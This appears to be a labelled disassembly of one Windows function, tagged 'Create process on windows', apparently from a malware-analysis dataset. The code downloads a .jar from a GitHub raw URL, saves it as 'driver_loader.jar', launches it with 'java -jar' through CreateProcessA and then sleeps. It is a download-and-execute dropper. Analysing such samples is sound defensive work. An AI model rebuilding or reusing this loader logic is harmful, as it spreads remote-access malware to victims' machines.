Function at 0x18001b850
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x180157b00]
xor rax, rsp
mov qword [rbp + 0x550], rax
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, 0x42
lea rdx, str.https:__raw.githubusercontent.com_MrX_hash899_X_main_Sorillus1.jar
lea rcx, [rbp - 0x50]
call fcn.180001870
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.driver_loader.jar
lea rcx, [rsp + 0x70]
call fcn.180001870
nop
call fcn.18006c6a0
mov rbx, rax
test rax, rax
je 0x18001bdfa
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x40]
call fcn.18010df10
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rcx, [rbp + 0x40]
call fcn.18000b650
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], r12
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r8, qword [rbp - 0x50]
mov edx, 0x2712
mov rcx, rbx
call fcn.18006f640
lea r8, [0x18000e4e0]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.18006f640
lea r8, [rbp + 0x40]
mov edx, 0x2711
mov rcx, rbx
call fcn.18006f640
mov rcx, rbx
call fcn.18006c710
mov rcx, rbx
call fcn.18006c670
lea rcx, [rbp + 0x40]
call fcn.180010bf0
mov dword [rbp - 0x30], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], r13w
mov r15, qword [rbp - 0x80]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xa
jb 0x18001beba
lea r14, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r14, qword [rsp + 0x70]
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rsi, [r15 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x70]
cmp rsi, rbx
jbe 0x18001ba9b
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x18001ba5d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1800d3870
test rax, rax
je 0x18001bec0
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18001ba97
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x18001ba77
mov rdi, r13
jmp 0x18001ba97
cmp rcx, 0x1000
jb 0x18001ba8f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18001beb4
jmp 0x18001ba3e
call fcn.1800d3870
mov rdi, rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rbx
movsd xmm0, qword [str.java__jar]
movsd qword [rdi], xmm0
movzx ecx, word [0x1801126d8]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
mov r8, r15
mov rdx, r14
call fcn.18010d870
mov byte [rdi + rsi], 0
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r8, qword [rbp - 0x70]
mov edx, 0x400
lea rcx, [rbp + 0x150]
call fcn.1800dde00
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18001bd48
lea rcx, [rsp + 0x50]
call fcn.180017db0
movabs r14, 0xb2f4fc0794908cf3
movabs r15, 0x4e94914f0000
movabs r12, 0x431bde82d7b634db
mov rbx, qword [rsp + 0x50]
movabs r13, 0x7fffffffffffffff
movabs rsi, 0x4a817c800
call fcn.1800d1b00
mov rdi, rax
call fcn.1800d1ae4
mov rcx, rax
cmp rdi, 0x989680
jne 0x18001bb90
imul rax, rcx, 0x64
jmp 0x18001bbff
cmp rdi, 0x16e3600
jne 0x18001bbe4
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x18001bbff
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
sub rax, rbx
cmp rax, rsi
jge 0x18001bd13
lea rcx, [rsp + 0x50]
call fcn.180017db0
mov rax, qword [rsp + 0x50]
movabs rcx, 0x7ffffffffa0a1eff
cmp rax, rcx
lea rsi, [rax + 0x5f5e100]
jl 0x18001bc33
mov rsi, r13
call fcn.1800d1b00
mov rdi, rax
call fcn.1800d1ae4
mov rcx, rax
cmp rdi, 0x989680
jne 0x18001bc52
imul rax, rcx, 0x64
jmp 0x18001bcc1
cmp rdi, 0x16e3600
jne 0x18001bca6
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r9, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul r8, rcx, 0x3b9aca00
mov rax, r14
imul r8
add rdx, r8
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r9
jmp 0x18001bcc1
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rsi
jge 0x18001bb67
mov rcx, rsi
sub rcx, rax
cmp rcx, r15
jl 0x18001bce4
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x18001bc33
mov rax, r12
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x18001bd07
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x18001bc33
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.1800e4390
xor r13d, r13d
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x18001bd83
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bd7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001bec0
call fcn.1800d38ac
movdqa xmm0, xmmword [0x180113eb0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x40], r12
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.18000cc80
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x3c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xe8], rax
lea rcx, [rbp + 0xe8]
call fcn.1800d2400
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x18001be36
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001be31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001bec6
call fcn.1800d38ac
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x18001be7e
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001be79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001beae
call fcn.1800d38ac
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.1800d39c0
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800ddc24
nop
call fcn.1800101b0
nop
call fcn.180010510
int3
call fcn.1800ddc24
nop
call fcn.1800ddc24
int3